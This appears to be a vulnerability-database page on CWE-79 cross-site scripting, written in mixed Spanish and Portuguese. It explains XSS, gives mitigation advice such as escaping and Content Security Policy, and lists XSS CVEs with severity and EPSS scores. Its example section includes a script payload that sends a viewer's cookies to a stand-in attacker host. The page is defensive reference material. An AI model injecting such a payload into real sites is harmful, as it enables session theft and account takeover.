Fallos del tipo CWE-79

30.259 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-2695MEDIUMShariff Wrapper <= 4.6.13 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2024-41846MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2024-33985HIGHCross-Site Scripting (XSS) vulnerability in Janobe productsEPSS 0.3%CVE-2024-8562MEDIUMSourceCodester PHP CRUD Add.php cross site scriptingEPSS 0.3%CVE-2024-40700MEDIUMIBM Security Verify Access cross-site scriptingEPSS 0.3%CVE-2024-13015MEDIUMPHPGurukul Maid Hiring Management System search-booking-request.php cross site scriptingEPSS 0.3%CVE-2026-3951MEDIUMLockerProject Locker Error Response registry.js authIsAwesome cross site scriptingEPSS 0.3%CVE-2025-14385MEDIUMWP Recipe Maker <= 10.2.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2025-23525HIGHWordPress Kv Compose Email From Dashboard plugin <= 1.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2023-27739MEDIUMeasyXDM 2.5 allows XSS via the xdm_e parameter.EPSS 0.3%CVE-2024-44053HIGHWordPress Opor Ayam theme <= 1.8 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-12494MEDIUMBMLT Meeting Map <= 2.6.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-43276HIGHWordPress Child Theme Creator by Orbisius plugin <= 1.5.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-24781HIGHWordPress WPJobBoard plugin <= 5.10.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2023-25364MEDIUMOpswat Metadefender Core before 5.2.1 does not properly defend against potential HTML injection and XSS attacks.EPSS 0.3%CVE-2024-43313HIGHWordPress FormFacade plugin <= 1.3.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-2861MEDIUMProfilePress <= 4.15.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via ProfilePress User Panel WidgetEPSS 0.3%CVE-2024-33986HIGHCross-Site Scripting (XSS) vulnerability in Janobe productsEPSS 0.3%CVE-2026-5293MEDIUM診断ジェネレータ作成プラグイン <= 1.4.16 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'js' ParameterEPSS 0.3%CVE-2024-37245HIGHWordPress All In One Redirection plugin <= 2.2.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%